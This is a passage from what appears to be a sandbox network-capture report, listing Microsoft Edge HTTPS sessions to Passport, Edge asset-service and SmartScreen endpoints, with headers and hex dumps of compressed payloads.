30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 14:16:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 14:15:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_BL2 x-ms-request-id: 08c920ca-6cb6-4d0f-80a2-620607941283 PPServer: PPV: 30 H: BL02EPF0001D746 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 14:16:58 GMT Connection: close Content-Length: 11412
2024-11-18 14:16:58 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49781	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:59 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:16:59 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:59 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6a33a039-b01e-0018-1848-394592000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141659Z-1866b5c5fbbkbjq9hC1DFWf1es00000004r000000000k3by Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 14:16:59 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-18 14:16:59 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-18 14:16:59 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-18 14:16:59 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-18 14:16:59 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49780	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:59 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:16:59 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:59 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 32fa03f4-d01e-004c-7ddf-37af18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141659Z-16547b76f7fsq6p7hC1DFWfx68000000049000000000kbbc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:16:59 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-18 14:16:59 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-18 14:17:00 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-18 14:17:00 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49784	20.25.227.174	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:59 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOGszcFdyTno1ZG1SWCtkWWxZMm1KQT09IiwgImhhc2giOiJva1FVdFdYKzhBWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 